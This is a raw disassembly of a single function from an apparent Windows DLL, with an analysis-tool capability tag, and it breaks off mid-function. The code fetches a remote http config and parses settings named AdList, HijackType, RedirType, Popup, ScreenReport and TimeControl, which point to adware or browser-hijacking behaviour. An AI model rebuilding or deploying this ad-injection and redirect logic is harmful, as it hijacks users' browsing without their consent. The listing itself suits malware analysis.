Function at 0x180011f00
Capabilities:
Read file via mapping

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x21e8
call fcn.180061240
sub rsp, rax
mov qword [rsp + 0x1fb0], 0xfffffffffffffffe
mov rax, qword [0x180084090]
xor rax, rsp
mov qword [rsp + 0x21d0], rax
lea rcx, [rsp + 0x180]
call fcn.180011600
nop
lea rcx, [rsp + 0x1c8]
call fcn.18000edc0
nop
lea rcx, [rsp + 0x208]
call fcn.18000edc0
nop
lea rcx, [rsp + 0x258]
call fcn.18000edc0
nop
lea rcx, [rsp + 0x170]
call fcn.180001700
nop
mov r8, qword [rsp + 0x2200]
mov r8, qword [r8]
lea rdx, str.http:___s_cfg_cmc_slfdm.txt
lea rcx, [rsp + 0x170]
call fcn.1800053c0
lea rcx, [rsp + 0x200]
call fcn.180001700
nop
lea rax, [rsp + 0x1bd0]
mov qword [rsp + 0x1bd8], rax
lea rdx, [rsp + 0x170]
mov rcx, qword [rsp + 0x1bd8]
call fcn.180001730
mov qword [rsp + 0x1fb8], rax
mov rdx, qword [rsp + 0x1fb8]
lea rcx, [rsp + 0x1be0]
call fcn.180009820
mov qword [rsp + 0x1fc0], rax
mov rax, qword [rsp + 0x1fc0]
mov qword [rsp + 0x1fc8], rax
mov rcx, qword [rsp + 0x1fc8]
call fcn.18000b4f0
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x1be8]
call fcn.180041660
mov qword [rsp + 0x1fd0], rax
mov rax, qword [rsp + 0x1fd0]
mov qword [rsp + 0x1fd8], rax
mov rdx, qword [rsp + 0x1fd8]
lea rcx, [rsp + 0x200]
call fcn.180002bf0
nop
lea rcx, [rsp + 0x1be8]
call fcn.1800017c0
nop
lea rcx, [rsp + 0x1be0]
call fcn.1800017c0
mov dword [rsp + 0x150], 0
xor r8d, r8d
lea rdx, str._n::::_n
lea rcx, [rsp + 0x200]
call fcn.1800036f0
mov dword [rsp + 0x150], eax
cmp dword [rsp + 0x150], 0
jl 0x180012264
lea rcx, [rsp + 0x290]
call fcn.180001700
nop
mov r8d, dword [rsp + 0x150]
lea rdx, [rsp + 0x1bf0]
lea rcx, [rsp + 0x200]
call fcn.18000b7a0
mov qword [rsp + 0x1fe0], rax
mov rax, qword [rsp + 0x1fe0]
mov qword [rsp + 0x1fe8], rax
mov rdx, qword [rsp + 0x1fe8]
lea rcx, [rsp + 0x290]
call fcn.180002bf0
nop
lea rcx, [rsp + 0x1bf0]
call fcn.1800017c0
lea rcx, [rsp + 0x290]
call fcn.18001d3b0
lea rcx, [rsp + 0x290]
call fcn.18000b500
test eax, eax
jle 0x180012236
xor edx, edx
lea rcx, [rsp + 0x290]
call fcn.18001d3d0
movzx eax, ax
cmp eax, 0x23
je 0x180012236
xor r8d, r8d
lea rdx, [0x180073524]
lea rcx, [rsp + 0x290]
call fcn.1800036f0
test eax, eax
jl 0x1800121d6
xor r8d, r8d
lea rdx, [0x180073528]
lea rcx, [rsp + 0x290]
call fcn.1800036f0
mov r8d, eax
lea rdx, [rsp + 0x1bf8]
lea rcx, [rsp + 0x290]
call fcn.18000b7a0
mov qword [rsp + 0x1ff0], rax
mov rax, qword [rsp + 0x1ff0]
mov qword [rsp + 0x1ff8], rax
mov rdx, qword [rsp + 0x1ff8]
lea rcx, [rsp + 0x290]
call fcn.180002bf0
nop
lea rcx, [rsp + 0x1bf8]
call fcn.1800017c0
lea rcx, [rsp + 0x290]
call fcn.18000b4f0
mov rdx, rax
lea rcx, [rsp + 0x1c00]
call fcn.18000b430
mov qword [rsp + 0x2000], rax
mov rax, qword [rsp + 0x2000]
mov qword [rsp + 0x2008], rax
mov rcx, qword [rsp + 0x2008]
call fcn.18000b4f0
mov rdx, rax
lea rcx, [rsp + 0x1c8]
call fcn.18002e740
nop
lea rcx, [rsp + 0x1c00]
call fcn.1800017c0
mov r8d, dword [rsp + 0x150]
add r8d, 1
xor edx, edx
lea rcx, [rsp + 0x200]
call fcn.18000b5d0
nop
lea rcx, [rsp + 0x290]
call fcn.1800017c0
jmp 0x180012082
lea rcx, [rsp + 0x200]
call fcn.18000b500
test eax, eax
jle 0x180012379
xor edx, edx
lea rcx, [rsp + 0x200]
call fcn.18001d3d0
movzx eax, ax
cmp eax, 0x23
je 0x180012379
xor r8d, r8d
lea rdx, [0x18007352c]
lea rcx, [rsp + 0x200]
call fcn.1800036f0
test eax, eax
jl 0x180012319
xor r8d, r8d
lea rdx, [0x180073530]
lea rcx, [rsp + 0x200]
call fcn.1800036f0
mov r8d, eax
lea rdx, [rsp + 0x1c08]
lea rcx, [rsp + 0x200]
call fcn.18000b7a0
mov qword [rsp + 0x2010], rax
mov rax, qword [rsp + 0x2010]
mov qword [rsp + 0x2018], rax
mov rdx, qword [rsp + 0x2018]
lea rcx, [rsp + 0x200]
call fcn.180002bf0
nop
lea rcx, [rsp + 0x1c08]
call fcn.1800017c0
lea rcx, [rsp + 0x200]
call fcn.18000b4f0
mov rdx, rax
lea rcx, [rsp + 0x1c10]
call fcn.18000b430
mov qword [rsp + 0x2020], rax
mov rax, qword [rsp + 0x2020]
mov qword [rsp + 0x2028], rax
mov rcx, qword [rsp + 0x2028]
call fcn.18000b4f0
mov rdx, rax
lea rcx, [rsp + 0x1c8]
call fcn.18002e740
nop
lea rcx, [rsp + 0x1c10]
call fcn.1800017c0
lea rcx, [rsp + 0x2a0]
call fcn.180001700
nop
lea rcx, [rsp + 0x2a8]
call fcn.180001700
nop
mov r8, qword [rsp + 0x2200]
mov r8, qword [r8]
lea rdx, [0x180073538]
lea rcx, [rsp + 0x2a8]
call fcn.1800053c0
lea rax, [rsp + 0x1c18]
mov qword [rsp + 0x1c20], rax
lea rdx, [rsp + 0x2a8]
mov rcx, qword [rsp + 0x1c20]
call fcn.180001730
mov qword [rsp + 0x2030], rax
mov rdx, qword [rsp + 0x2030]
lea rcx, [rsp + 0x1c28]
call fcn.180009820
mov qword [rsp + 0x2038], rax
mov rax, qword [rsp + 0x2038]
mov qword [rsp + 0x2040], rax
mov rcx, qword [rsp + 0x2040]
call fcn.18000b4f0
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x1c30]
call fcn.180041660
mov qword [rsp + 0x2048], rax
mov rax, qword [rsp + 0x2048]
mov qword [rsp + 0x2050], rax
mov rdx, qword [rsp + 0x2050]
lea rcx, [rsp + 0x2a0]
call fcn.180002bf0
nop
lea rcx, [rsp + 0x1c30]
call fcn.1800017c0
nop
lea rcx, [rsp + 0x1c28]
call fcn.1800017c0
mov dword [rsp + 0x298], 0
xor r8d, r8d
lea rdx, [0x180073534]
lea rcx, [rsp + 0x2a0]
call fcn.1800036f0
mov dword [rsp + 0x298], eax
cmp dword [rsp + 0x298], 0
jl 0x180012664
lea rcx, [rsp + 0x2b0]
call fcn.180001700
nop
mov r8d, dword [rsp + 0x298]
lea rdx, [rsp + 0x1c38]
lea rcx, [rsp + 0x2a0]
call fcn.18000b7a0
mov qword [rsp + 0x2058], rax
mov rax, qword [rsp + 0x2058]
mov qword [rsp + 0x2060], rax
mov rdx, qword [rsp + 0x2060]
lea rcx, [rsp + 0x2b0]
call fcn.180002bf0
nop
lea rcx, [rsp + 0x1c38]
call fcn.1800017c0
lea rcx, [rsp + 0x2b0]
call fcn.18001d3b0
lea rcx, [rsp + 0x2b0]
call fcn.18000b500
test eax, eax
jle 0x180012636
xor edx, edx
lea rcx, [rsp + 0x2b0]
call fcn.18001d3d0
movzx eax, ax
cmp eax, 0x23
je 0x180012636
xor r8d, r8d
lea rdx, str.::::
lea rcx, [rsp + 0x2b0]
call fcn.1800036f0
test eax, eax
jl 0x1800125d6
xor r8d, r8d
lea rdx, [0x180073578]
lea rcx, [rsp + 0x2b0]
call fcn.1800036f0
mov r8d, eax
lea rdx, [rsp + 0x1c40]
lea rcx, [rsp + 0x2b0]
call fcn.18000b7a0
mov qword [rsp + 0x2068], rax
mov rax, qword [rsp + 0x2068]
mov qword [rsp + 0x2070], rax
mov rdx, qword [rsp + 0x2070]
lea rcx, [rsp + 0x2b0]
call fcn.180002bf0
nop
lea rcx, [rsp + 0x1c40]
call fcn.1800017c0
lea rcx, [rsp + 0x2b0]
call fcn.18000b4f0
mov rdx, rax
lea rcx, [rsp + 0x1c48]
call fcn.18000b430
mov qword [rsp + 0x2078], rax
mov rax, qword [rsp + 0x2078]
mov qword [rsp + 0x2080], rax
mov rcx, qword [rsp + 0x2080]
call fcn.18000b4f0
mov rdx, rax
lea rcx, [rsp + 0x208]
call fcn.18002e740
nop
lea rcx, [rsp + 0x1c48]
call fcn.1800017c0
mov r8d, dword [rsp + 0x298]
add r8d, 1
xor edx, edx
lea rcx, [rsp + 0x2a0]
call fcn.18000b5d0
nop
lea rcx, [rsp + 0x2b0]
call fcn.1800017c0
jmp 0x180012482
lea rcx, [rsp + 0x2a0]
call fcn.18000b500
test eax, eax
jle 0x18001277a
xor edx, edx
lea rcx, [rsp + 0x2a0]
call fcn.18001d3d0
movzx eax, ax
cmp eax, 0x23
je 0x18001277a
xor r8d, r8d
lea rdx, [0x18007357c]
lea rcx, [rsp + 0x2a0]
call fcn.1800036f0
test eax, eax
jl 0x180012719
xor r8d, r8d
lea rdx, [0x180073580]
lea rcx, [rsp + 0x2a0]
call fcn.1800036f0
mov r8d, eax
lea rdx, [rsp + 0x1c50]
lea rcx, [rsp + 0x2a0]
call fcn.18000b7a0
mov qword [rsp + 0x2088], rax
mov rax, qword [rsp + 0x2088]
mov qword [rsp + 0x2090], rax
mov rdx, qword [rsp + 0x2090]
lea rcx, [rsp + 0x2a0]
call fcn.180002bf0
nop
lea rcx, [rsp + 0x1c50]
call fcn.1800017c0
lea rcx, [rsp + 0x2a0]
call fcn.18000b4f0
mov rdx, rax
lea rcx, [rsp + 0x1c58]
call fcn.18000b430
mov qword [rsp + 0x2098], rax
mov rax, qword [rsp + 0x2098]
mov qword [rsp + 0x20a0], rax
mov rcx, qword [rsp + 0x20a0]
call fcn.18000b4f0
mov rdx, rax
lea rcx, [rsp + 0x208]
call fcn.18002e740
nop
lea rcx, [rsp + 0x1c58]
call fcn.1800017c0
nop
lea rcx, [rsp + 0x2a8]
call fcn.1800017c0
nop
lea rcx, [rsp + 0x2a0]
call fcn.1800017c0
lea rcx, [rsp + 0x78]
call fcn.180001700
nop
mov r8, qword [rsp + 0x2200]
mov r8, qword [r8]
lea rdx, [0x180073588]
lea rcx, [rsp + 0x78]
call fcn.1800053c0
lea rcx, [rsp + 0xb0]
call fcn.180030a50
nop
lea rcx, [rsp + 0x78]
call fcn.18000b4f0
xor r8d, r8d
lea rdx, [rsp + 0xb0]
mov rcx, rax
call fcn.18000f790
test eax, eax
jne 0x180012872
mov dword [rsp + 0x1c60], 0
lea rcx, [rsp + 0xb0]
call fcn.18000fa80
nop
lea rcx, [rsp + 0x78]
call fcn.1800017c0
nop
lea rcx, [rsp + 0x200]
call fcn.1800017c0
nop
lea rcx, [rsp + 0x170]
call fcn.1800017c0
nop
lea rcx, [rsp + 0x258]
call fcn.180015a80
nop
lea rcx, [rsp + 0x208]
call fcn.180015a80
nop
lea rcx, [rsp + 0x1c8]
call fcn.180015a80
nop
lea rcx, [rsp + 0x180]
call fcn.180011620
mov eax, dword [rsp + 0x1c60]
jmp 0x180015a5f
lea rdx, str.BlockDomain
lea rcx, [rsp + 0xb0]
call fcn.180030c10
mov qword [rsp + 0x2b8], rax
mov dword [rsp + 0x2c0], 0
jmp 0x1800128ac
mov eax, dword [rsp + 0x2c0]
add eax, 1
mov dword [rsp + 0x2c0], eax
mov rcx, qword [rsp + 0x2b8]
call fcn.180030e00
cmp dword [rsp + 0x2c0], eax
jge 0x18001296b
lea rcx, [rsp + 0x2c8]
call fcn.180001700
nop
mov edx, dword [rsp + 0x2c0]
mov rcx, qword [rsp + 0x2b8]
call fcn.180030cd0
mov rcx, rax
call fcn.180030d50
mov rdx, rax
lea rcx, [rsp + 0x2c8]
call fcn.18000b890
lea rdx, [rsp + 0x2c8]
lea rcx, [rsp + 0x1c68]
call fcn.18000b400
mov qword [rsp + 0x20a8], rax
mov rax, qword [rsp + 0x20a8]
mov qword [rsp + 0x20b0], rax
mov rcx, qword [rsp + 0x20b0]
call fcn.18000b4f0
mov rdx, rax
lea rcx, [rsp + 0x258]
call fcn.18002e740
nop
lea rcx, [rsp + 0x1c68]
call fcn.1800017c0
nop
lea rcx, [rsp + 0x2c8]
call fcn.1800017c0
jmp 0x18001289b
mov dword [rsp + 0x178], 0
lea rdx, [0x1800735cc]
lea rcx, [rsp + 0xb0]
call fcn.180030c10
mov rcx, rax
call fcn.180030e00
mov dword [rsp + 0x6c], eax
mov dword [rsp + 0x2d0], 0
jmp 0x1800129b4
mov eax, dword [rsp + 0x2d0]
add eax, 1
mov dword [rsp + 0x2d0], eax
mov eax, dword [rsp + 0x6c]
cmp dword [rsp + 0x2d0], eax
jge 0x180014faa
lea rdx, str.AdList
lea rcx, [rsp + 0xb0]
call fcn.180030c10
mov edx, dword [rsp + 0x2d0]
mov rcx, rax
call fcn.180030cd0
mov qword [rsp + 0x310], rax
mov dword [rsp + 0x1290], 0
mov dword [rsp + 0x1438], 0
jmp 0x180012a19
mov eax, dword [rsp + 0x1438]
add eax, 1
mov dword [rsp + 0x1438], eax
lea rdx, [0x1800735e0]
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
mov rcx, rax
call fcn.180030e00
cmp dword [rsp + 0x1438], eax
jge 0x180012ae3
lea rcx, [rsp + 0x1440]
call fcn.180001700
nop
lea rdx, str.UserNames
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
mov edx, dword [rsp + 0x1438]
mov rcx, rax
call fcn.180030cd0
mov rcx, rax
call fcn.180030d50
mov rdx, rax
lea rcx, [rsp + 0x1440]
call fcn.18000b890
lea rcx, [rsp + 0x1440]
call fcn.18000b4f0
mov rdi, rax
mov rcx, qword [rsp + 0x2210]
call fcn.18000b4f0
mov rdx, rdi
mov rcx, rax
call fcn.18000a850
test eax, eax
je 0x180012ad1
mov dword [rsp + 0x1290], 1
lea rcx, [rsp + 0x1440]
call fcn.1800017c0
jmp 0x180012ae3
lea rcx, [rsp + 0x1440]
call fcn.1800017c0
jmp 0x180012a08
cmp dword [rsp + 0x1290], 0
je 0x180012bd9
mov dword [rsp + 0x1448], 0
jmp 0x180012b0f
mov eax, dword [rsp + 0x1448]
add eax, 1
mov dword [rsp + 0x1448], eax
lea rdx, [0x180073600]
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
mov rcx, rax
call fcn.180030e00
cmp dword [rsp + 0x1448], eax
jge 0x180012bd9
lea rcx, [rsp + 0x1450]
call fcn.180001700
nop
lea rdx, str.ExcludeUserNames
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
mov edx, dword [rsp + 0x1448]
mov rcx, rax
call fcn.180030cd0
mov rcx, rax
call fcn.180030d50
mov rdx, rax
lea rcx, [rsp + 0x1450]
call fcn.18000b890
lea rcx, [rsp + 0x1450]
call fcn.18000b4f0
mov rdi, rax
mov rcx, qword [rsp + 0x2210]
call fcn.18000b4f0
mov rdx, rdi
mov rcx, rax
call fcn.18000a850
test eax, eax
je 0x180012bc7
mov dword [rsp + 0x1290], 0
lea rcx, [rsp + 0x1450]
call fcn.1800017c0
jmp 0x180012bd9
lea rcx, [rsp + 0x1450]
call fcn.1800017c0
jmp 0x180012afe
cmp dword [rsp + 0x1290], 0
jne 0x180012be8
jmp 0x1800129a3
mov rcx, qword [rsp + 0x2210]
call fcn.18000b4f0
xor r9d, r9d
mov r8, rax
lea rdx, str.RunRate
mov rcx, qword [rsp + 0x310]
call fcn.18000f350
mov dword [rsp + 0x13f0], eax
cmp dword [rsp + 0x13f0], 0
jbe 0x180012c3a
mov edx, 0x2710
xor ecx, ecx
call fcn.18000a630
cmp eax, dword [rsp + 0x13f0]
jbe 0x180012c3a
jmp 0x1800129a3
lea rcx, [rsp + 0x12e8]
call fcn.180001700
nop
mov rcx, qword [rsp + 0x2208]
call fcn.18000b4f0
mov rdx, rax
lea rcx, [rsp + 0x1c70]
call fcn.18000ef90
mov qword [rsp + 0x20b8], rax
mov rax, qword [rsp + 0x20b8]
mov qword [rsp + 0x20c0], rax
mov rdx, qword [rsp + 0x20c0]
lea rcx, [rsp + 0x12e8]
call fcn.180002bf0
nop
lea rcx, [rsp + 0x1c70]
call fcn.1800017c0
lea rdx, [0x180073638]
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
mov rcx, rax
call fcn.180030e00
test eax, eax
jle 0x180012ebc
mov dword [rsp + 0x1458], 0
mov dword [rsp + 0x145c], 0
jmp 0x180012ced
mov eax, dword [rsp + 0x145c]
add eax, 1
mov dword [rsp + 0x145c], eax
lea rdx, [0x180073648]
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
mov rcx, rax
call fcn.180030e00
cmp dword [rsp + 0x145c], eax
jge 0x180012ea0
mov dword [rsp + 0x1460], 1
mov dword [rsp + 0x1464], 0
jmp 0x180012d3f
mov eax, dword [rsp + 0x1464]
add eax, 1
mov dword [rsp + 0x1464], eax
lea rdx, [0x180073658]
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
mov edx, dword [rsp + 0x145c]
mov rcx, rax
call fcn.180030cd0
mov rcx, rax
call fcn.180030e00
cmp dword [rsp + 0x1464], eax
jge 0x180012e84
lea rcx, [rsp + 0x1468]
call fcn.180001700
nop
lea rdx, str.OnlyOpenAreas
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
mov edx, dword [rsp + 0x145c]
mov rcx, rax
call fcn.180030cd0
mov edx, dword [rsp + 0x1464]
mov rcx, rax
call fcn.180030cd0
mov rcx, rax
call fcn.180030d50
mov rdx, rax
lea rcx, [rsp + 0x1468]
call fcn.18000b890
lea rcx, [rsp + 0x1468]
call fcn.18000b4f0
mov rdx, rax
lea rcx, [rsp + 0x1c80]
call fcn.180009130
mov qword [rsp + 0x20c8], rax
mov rcx, qword [rsp + 0x20c8]
call fcn.18000b4f0
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x12e8]
call fcn.1800036f0
test eax, eax
jge 0x180012e25
mov dword [rsp + 0x20d0], 1
jmp 0x180012e30
mov dword [rsp + 0x20d0], 0
movzx eax, byte [rsp + 0x20d0]
mov byte [rsp + 0x1c78], al
lea rcx, [rsp + 0x1c80]
call fcn.1800017c0
movzx edx, byte [rsp + 0x1c78]
test edx, edx
je 0x180012e72
mov dword [rsp + 0x1460], 0
lea rcx, [rsp + 0x1468]
call fcn.1800017c0
jmp 0x180012e84
lea rcx, [rsp + 0x1468]
call fcn.1800017c0
jmp 0x180012d2e
cmp dword [rsp + 0x1460], 0
je 0x180012e9b
mov dword [rsp + 0x1458], 1
jmp 0x180012ea0
jmp 0x180012cdc
cmp dword [rsp + 0x1458], 0
jne 0x180012ebc
lea rcx, [rsp + 0x12e8]
call fcn.1800017c0
jmp 0x1800129a3
mov dword [rsp + 0x12e0], 0
mov dword [rsp + 0x1470], 0
jmp 0x180012ee5
mov eax, dword [rsp + 0x1470]
add eax, 1
mov dword [rsp + 0x1470], eax
lea rdx, [0x180073678]
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
mov rcx, rax
call fcn.180030e00
cmp dword [rsp + 0x1470], eax
jge 0x180013098
mov dword [rsp + 0x1474], 1
mov dword [rsp + 0x1478], 0
jmp 0x180012f37
mov eax, dword [rsp + 0x1478]
add eax, 1
mov dword [rsp + 0x1478], eax
lea rdx, [0x180073688]
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
mov edx, dword [rsp + 0x1470]
mov rcx, rax
call fcn.180030cd0
mov rcx, rax
call fcn.180030e00
cmp dword [rsp + 0x1478], eax
jge 0x18001307c
lea rcx, [rsp + 0x1480]
call fcn.180001700
nop
lea rdx, str.ExcludeAreas
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
mov edx, dword [rsp + 0x1470]
mov rcx, rax
call fcn.180030cd0
mov edx, dword [rsp + 0x1478]
mov rcx, rax
call fcn.180030cd0
mov rcx, rax
call fcn.180030d50
mov rdx, rax
lea rcx, [rsp + 0x1480]
call fcn.18000b890
lea rcx, [rsp + 0x1480]
call fcn.18000b4f0
mov rdx, rax
lea rcx, [rsp + 0x1c90]
call fcn.180009130
mov qword [rsp + 0x20d8], rax
mov rcx, qword [rsp + 0x20d8]
call fcn.18000b4f0
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x12e8]
call fcn.1800036f0
test eax, eax
jge 0x18001301d
mov dword [rsp + 0x20e0], 1
jmp 0x180013028
mov dword [rsp + 0x20e0], 0
movzx eax, byte [rsp + 0x20e0]
mov byte [rsp + 0x1c88], al
lea rcx, [rsp + 0x1c90]
call fcn.1800017c0
movzx edx, byte [rsp + 0x1c88]
test edx, edx
je 0x18001306a
mov dword [rsp + 0x1474], 0
lea rcx, [rsp + 0x1480]
call fcn.1800017c0
jmp 0x18001307c
lea rcx, [rsp + 0x1480]
call fcn.1800017c0
jmp 0x180012f26
cmp dword [rsp + 0x1474], 0
je 0x180013093
mov dword [rsp + 0x12e0], 1
jmp 0x180013098
jmp 0x180012ed4
cmp dword [rsp + 0x12e0], 0
je 0x1800130b4
lea rcx, [rsp + 0x12e8]
call fcn.1800017c0
jmp 0x1800129a3
lea rcx, [rsp + 0x1300]
call fcn.180011600
nop
lea rcx, [rsp + 0x12d0]
call fcn.180001700
nop
mov dword [rsp + 0x12c8], 0
lea rcx, [rsp + 0x13b0]
call fcn.180001700
nop
lea rdx, str.UrlListBD
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
mov rcx, rax
call fcn.180030d50
mov rdx, rax
lea rcx, [rsp + 0x12d0]
call fcn.180009190
lea rdx, str.UrlListMid
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
mov rcx, rax
call fcn.180030d30
mov dword [rsp + 0x12c8], eax
lea rdx, str.ModNode
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
mov rcx, rax
call fcn.180030d50
mov rdx, rax
lea rcx, [rsp + 0x13b0]
call fcn.18000b890
lea rdi, [rsp + 0xdf0]
xor eax, eax
mov ecx, 0x4a0
rep stosb byte [rdi], al
lea rdx, [0x180073584]
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
mov rcx, rax
call fcn.180030d30
mov dword [rsp + 0xdf0], eax
lea rdx, str.AppendParam
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
mov r8d, 1
lea rdx, [rsp + 0x1c98]
mov rcx, rax
call fcn.180030d80
mov rcx, rax
call fcn.180030ed0
mov dword [rsp + 0xdf4], eax
lea rdx, str.HijackReport
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
mov r8d, 1
lea rdx, [rsp + 0x1cb0]
mov rcx, rax
call fcn.180030d80
mov rcx, rax
call fcn.180030ed0
mov dword [rsp + 0xe00], eax
lea rdx, str.HijackType
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
mov rcx, rax
call fcn.180030d30
mov dword [rsp + 0xdf8], eax
lea rdx, str.MinLCC
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
mov rcx, rax
call fcn.180030d30
mov dword [rsp + 0xe08], eax
lea rdx, str.ScreenReport
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
mov rcx, rax
call fcn.180030d30
mov dword [rsp + 0xe10], eax
lea rdx, str.PriorityLevel
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
mov r8d, 5
lea rdx, [rsp + 0x1cc8]
mov rcx, rax
call fcn.180030d80
mov rcx, rax
call fcn.180030ed0
mov dword [rsp + 0xe14], eax
mov dword [rsp + 0xe18], 0
mov dword [rsp + 0xdfc], 0
mov eax, dword [rsp + 0x12c8]
mov dword [rsp + 0xe20], eax
lea rdx, str.AddPV
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
mov rcx, rax
call fcn.180030d30
mov dword [rsp + 0xe1c], eax
lea rdx, str.Popup
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
xor r8d, r8d
lea rdx, [rsp + 0x1ce0]
mov rcx, rax
call fcn.180030d80
mov rcx, rax
call fcn.180030ed0
mov dword [rsp + 0x1288], eax
lea rdx, str.RedirType
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
mov r8d, 1
lea rdx, [rsp + 0x1cf8]
mov rcx, rax
call fcn.180030d80
mov rcx, rax
call fcn.180030ed0
mov dword [rsp + 0x128c], eax
lea rcx, [rsp + 0x1338]
call fcn.180001700
nop
mov dx, 0x2f
lea rcx, [rsp + 0x12d0]
call fcn.18000b6d0
mov r8d, eax
add r8d, 1
lea rdx, [rsp + 0x1d10]
lea rcx, [rsp + 0x12d0]
call fcn.18000b740
mov qword [rsp + 0x20e8], rax
mov rax, qword [rsp + 0x20e8]
mov qword [rsp + 0x20f0], rax
mov rdx, qword [rsp + 0x20f0]
lea rcx, [rsp + 0x1338]
call fcn.180002bf0
nop
lea rcx, [rsp + 0x1d10]
call fcn.1800017c0
lea rcx, [rsp + 0x1338]
call fcn.18000b500
movsxd rdi, eax
lea rcx, [rsp + 0x1338]
call fcn.18000b500
mov edx, eax
lea rcx, [rsp + 0x1338]
call fcn.180001df0
mov r9, rdi
mov r8, rax
mov edx, 0x20
lea rcx, [rsp + 0xe24]
call fcn.180002370
mov edx, 0xffffffff
lea rcx, [rsp + 0x1338]
call fcn.1800037a0
lea rcx, [rsp + 0x13c0]
call fcn.18001e330
nop
lea rdx, str.TimeControl
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
mov qword [rsp + 0x1430], rax
mov dword [rsp + 0x1488], 0
jmp 0x180013476
mov eax, dword [rsp + 0x1488]
add eax, 1
mov dword [rsp + 0x1488], eax
mov rcx, qword [rsp + 0x1430]
call fcn.180030e00
cmp dword [rsp + 0x1488], eax
jge 0x180013571
mov edx, dword [rsp + 0x1488]
mov rcx, qword [rsp + 0x1430]
call fcn.180030cd0
xor edx, edx
mov rcx, rax
call fcn.180030cd0
xor r8d, r8d
lea rdx, [rsp + 0x1d18]
mov rcx, rax
call fcn.180030d80
mov rcx, rax
call fcn.180030ed0
mov dword [rsp + 0x1490], eax
mov edx, dword [rsp + 0x1488]
mov rcx, qword [rsp + 0x1430]
call fcn.180030cd0
mov edx, 1
mov rcx, rax
call fcn.180030cd0
mov r8d, 0xffffffff
lea rdx, [rsp + 0x1d30]
mov rcx, rax
call fcn.180030d80
mov rcx, rax
call fcn.180030ed0
mov dword [rsp + 0x1494], eax
mov eax, dword [rsp + 0x1490]
cmp dword [rsp + 0x1494], eax
jl 0x18001356c
mov eax, dword [rsp + 0x1490]
shl eax, 1
mov dword [rsp + 0x1490], eax
mov eax, dword [rsp + 0x1494]
shl eax, 1
mov dword [rsp + 0x1494], eax
mov eax, dword [rsp + 0x1494]
add eax, 1
mov dword [rsp + 0x1494], eax
lea rdx, [rsp + 0x1490]
lea rcx, [rsp + 0x13c0]
call fcn.18001e3b0
jmp 0x180013465
lea rcx, [rsp + 0x1298]
call fcn.18001e490
nop
lea rdx, [rsp + 0x1498]
lea rcx, [rsp + 0x13c0]
call fcn.180038e70
jmp 0x1800135ae
xor r8d, r8d
lea rdx, [rsp + 0x1d48]
lea rcx, [rsp + 0x1498]
call fcn.18001e7d0
lea rdx, [rsp + 0x1d58]
lea rcx, [rsp + 0x13c0]
call fcn.180022350
mov rdx, rax
lea rcx, [rsp + 0x1498]
call fcn.18001e830
movzx eax, al
test eax, eax
je 0x1800136e8
lea rcx, [rsp + 0x1498]
call fcn.180038a00
mov eax, dword [rax]
mov dword [rsp + 0x14a8], eax
jmp 0x180013607
mov eax, dword [rsp + 0x14a8]
add eax, 1
mov dword [rsp + 0x14a8], eax
lea rcx, [rsp + 0x1498]
call fcn.180038a00
mov eax, dword [rax + 4]
cmp dword [rsp + 0x14a8], eax
jg 0x1800136e3
mov dword [rsp + 0x14ac], 0
lea rdx, [rsp + 0x14b0]
lea rcx, [rsp + 0x1298]
call fcn.180038e70
jmp 0x18001365e
xor r8d, r8d
lea rdx, [rsp + 0x1d68]
lea rcx, [rsp + 0x14b0]
call fcn.18001e870
lea rdx, [rsp + 0x1d78]
lea rcx, [rsp + 0x1298]
call fcn.180022350
mov rdx, rax
lea rcx, [rsp + 0x14b0]
call fcn.18001e830
movzx eax, al
test eax, eax
je 0x1800136b1
lea rcx, [rsp + 0x14b0]
call fcn.180038e30
mov eax, dword [rax]
cmp dword [rsp + 0x14a8], eax
jne 0x1800136af
mov dword [rsp + 0x14ac], 1
jmp 0x1800136b1
jmp 0x180013646
cmp dword [rsp + 0x14ac], 0
jne 0x1800136de
mov eax, dword [rsp + 0x14a8]
mov dword [rsp + 0x1d88], eax
lea rdx, [rsp + 0x1d88]
lea rcx, [rsp + 0x1298]
call fcn.18001e580
jmp 0x1800135f6
jmp 0x180013596
lea rdx, str.HalfhoursCount
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
xor r8d, r8d
lea rdx, [rsp + 0x1d90]
mov rcx, rax
call fcn.180030d80
mov rcx, rax
call fcn.180030ed0
mov dword [rsp + 0x13bc], eax
cmp dword [rsp + 0x13bc], 0
jle 0x180013a46
lea rcx, [rsp + 0x1298]
call fcn.18001e510
test rax, rax
ja 0x18001378b
mov dword [rsp + 0x14c0], 0
jmp 0x18001375c
mov eax, dword [rsp + 0x14c0]
add eax, 1
mov dword [rsp + 0x14c0], eax
cmp dword [rsp + 0x14c0], 0x30
jge 0x18001378b
mov eax, dword [rsp + 0x14c0]
mov dword [rsp + 0x1da8], eax
lea rdx, [rsp + 0x1da8]
lea rcx, [rsp + 0x1298]
call fcn.18001e580
jmp 0x18001374b
